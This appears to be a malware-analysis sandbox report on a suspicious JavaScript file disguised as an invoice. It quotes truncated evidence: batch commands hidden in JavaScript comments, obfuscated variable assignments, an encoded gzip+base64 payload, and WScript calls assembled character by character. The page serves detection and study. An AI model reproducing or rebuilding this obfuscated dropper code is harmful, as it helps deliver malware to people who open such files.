Suspicious 80% javascript Download

INVOICES 71058390.js

obfuscated batch payload execution

WScript bracket-member access in source textLarge high-entropy string literal
SHA-256c8d2eba7d492a50e9f847eb99a4fc0dbcf98eaf93ea08eb9341886b6aa66d93b

Evidence

File embeds Windows batch script content lines 1–5
1//COFLBOFRVXAJ@echo off
2//COFLBOFRVXAJif defined UXKSLTWLDYYV goto QLKLKJHQNA
3//COFLBOFRVXAJcd /d "%~dp0"
4//COFLBOFRVXAJ:QLKLKJHQNA
5//COFLBOFRVXAJsetloca …
JavaScript comment contains Base64-like content lines 139–141
139:66… :~3,1!"
140//COFLBOFRVXAJset "LJHNNGER=!YAOB!!IUJT!!ODFP!!SAPQ!"
141//COFLBOFRVXAJset "KZYPYIAIK=00060d0f502b2b1706495012151807114f500717061d04004e2b2b1f192b071d493a1103593b161e11170054201c061115101d1a135a390100110c5c5012151807115853381b171518282025332d2e2d263c2d3d2d53582f06111229502b2b17065d4f502b …
Embedded gzip+base64 blob in script lines 333–340
⋯4 lines
337//COFLBOFRVXAJset PVMAXDUY=ENEDZGILIGV
338//COFLBOFRVXAJset ZPVDWO=IUVXDXTYHFNK
339//COFLBOFRVXAJset "ECHLXWH4sIAAAAAAAACu29C3cbN5Io/Ffa+s5JyJhWRFn2eqLIuZREWbzWg0NSsTOZHB4+WlKvKZLTbEpyMt7f/tULz0ZTTVuemZ07c+/GYgMoFApVhUKhUFgukulV1P24yOKb3Whp/drsLKdZchNvtqZZnM7m3Ti9TUbxwqvVi++z3Wg6uIkX88EojtqnP5/23kR/RPPlcJKMokU2yOCf5XQxuIyj+SDNksEkGk0Gi0V0eviXs/bbZhdqj2bTRRYtk2kWvT09PuqfNt60DqK9aOt+5+XOq53Dnf3lrlupf3zY6Xdbf2lyra1g+fmRDWqruJIGtLVTWKfTPcB/udqrldVOmmdc7aCwWvvkUEOrFyOG1RS0ejFux41uv9F50+V6K5Brdpudn5uHXK8Yu+b79nmn1z9rnDJZtnMYHjNu7V5HDyM/CVCpe9Jstvvd3sW+rvcqVG///LzXbzfeNC2q5CcMKh6fn5ycvzOd5gbr1OkfnTSELA9A67dbhwUs4NbrqXoP9NxrvClgArfecbtzflDAB17N3nGn2TgsmORg3f77Vy+DzEOkxhrvOq2e4v18jeb75sFFj2sKJ6yuZMDtuDWPWidNEMZ2v/PuvczH9kunxgG0Byjdi267eXYoTLoTqnLWfNc/OD/rnp8I5vS/+lao7j7887bxrvFL/6hzftr/v+f73KTOjYLgz/vvWmeH5+9kngM1m+97hCNwdqPTu2i3zo7O+20Ur7OeQulVrhXOdF8mptHrdVr7SLZ2owOt+ljY7Cpe3dou2fq01Wu9afRa52f99vlJ6+AXG8B/aQCTGShtq+7B0Zt+4wTI0jVKbUt1y/+7OClqvd0/aPb6F6BL+t3jBhAKyXDwthuEaMFcBZGgIdgu/B9Mbg9I3G+1+z83TlqHjHMQ+nYpfNV0IeDO+QmoBUD6zUWjc/glVNg/OT94C+xyRojvt84anVYzRAULngMRp7V3/Hz7oNvvnjXaHgsQJjkWgAp9YVS3/qs8u2DdP180O7/0T1qAOBAAGbVzSvhrLauaYStgRGGxoDjWXXmRaTq6ODnpN04PX+5omHVvxXaqaqWELOrW+zmJ7y6mN4M5VNjOazhccxA75vJ6sQ4ktnmokrMcbrv1Di/aIE1EAVgF+42D1TNjqh+cnHeh0flF58DWTltAul+7WbocZSeDj7NlVuF/3ibT8WY3/tsynqJtVIsOrgdpN86gqfy1eTFNRrNxXP0NzClsH1lKx5haiMVouKt+gt3WztJoMu/EC7Dd4nEN/j6MFx+y2Rz/7CXZJN61G4/v3tfgP7/gf953k99j+qX+eH8wA4sQUVrQd/fnUTKZNLIsTYbLjKofTQZXCw1+cT1Ls+iuez27ewfjnd3VAFWF2HYxztu16LqbjVvT+TLjP8+Xmf67maazdDf6VIauQeI13xvy2TTtZmCoLuet6eUsj5se5kmyyNbuXUmlLYd/eH1ct9MZmNpA2OvedRoPxt40SXFrjITmGq1xSUxK8ZcgCatS55fn2+8MgktGAHli1/k2mmYXi8GV9zW7fr6tkD30KYmFh/HlYDnJjuPB3Kqg257OxstJ7JdAXzzoRaC3QQrjzPeJ5fNRO00OcOuxP1h4mGqG/fUUOPp6MGksKqiGpjCmce/jPN7c//jzYNIDAtciHP4BiT7oqJdbQDe920lxb7T4vXkfg0TENCeHk0nrZg78X9n4EKfTePJ8e2PFLAD4GGZwkRF3QzlMCU8N7aRgvwVAouFsNokOgAhZLIN9V5HeB3OQb/l7dAM8IvSeD/SfGfxJEJLpdZwmIE5EhEskga4UT281nHECw07jS0dKFkktAgYLsvQ8qe7+Gw1dvn/uiEsPqzVNUEiBv3BozOWOvqkoNQR/11jlox7mP2UQOE8a4d/jR0DrYj4WansouegEKDkwa4J8uR1MlnHNRtBMUxrf6h9pnHVXYJ9D9HaWjKPDeBIHEfVp9whEEeZ7vn2 …
340//COFLBOFRVXAJset "ECHLXWFlYJ9cDkIOg2ZUxRf56MreJNywdn19I9K2Yq7MsMx+IkLCaCUoGZMPyOqk4N3+jmgI5rpzHsMSnyAfZcUHsfKUDAvqIu/8PZnMsKrDQASb+zNUW/7QitmXIbR63eufuw9cQwq7mdKluwqtjdXDJSh3gEmdzE0WiZQXco …
WScript bracket-member access in source text lines 418–419
418:5946… 80NQohTWZFDKcKfp5aVY71HBt8zYshAv3riAQg4PX78xpyaZvSppLiOiefcO4IFwiVvBTEr3Su3R46iJ"
419var NWSFLI = WScript[SSGKPSLR.charAt(1732)+SSGKPSLR.charAt(1733)+SSGKPSLR.charAt(1734)+SSGKPSLR.charAt(1741)+SSGKPSLR.charAt(1742)+SSGKPSLR.charAt(1743)+SSGKPSLR.charAt(1751)+SSGKPSLR.charAt(1752)+SSGKPSLR.charAt( …
References HDF5 or an HDF5 binding line 438
438:1836… vg/BnnFJfMWNBmJG6RhU6HcjCTrGLqT4gmwoZ/nTjq33Rn3Sjjus0l5OdeqBMLJ+H5FzbzmR7YfhUiWxGqgMaoATPz2GuUhzmSO/Suitn1X2mw87lsRRAPQXEL2wZPOxfSuj+fGw+jrAHmt7MnNQ1AGOMRWVIyTXc3VlrgRaz6J75c0fXNn5SXBGHUOx/pusWerImKmWRi+SfxET21exnzPcXtlaixWRy5d …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.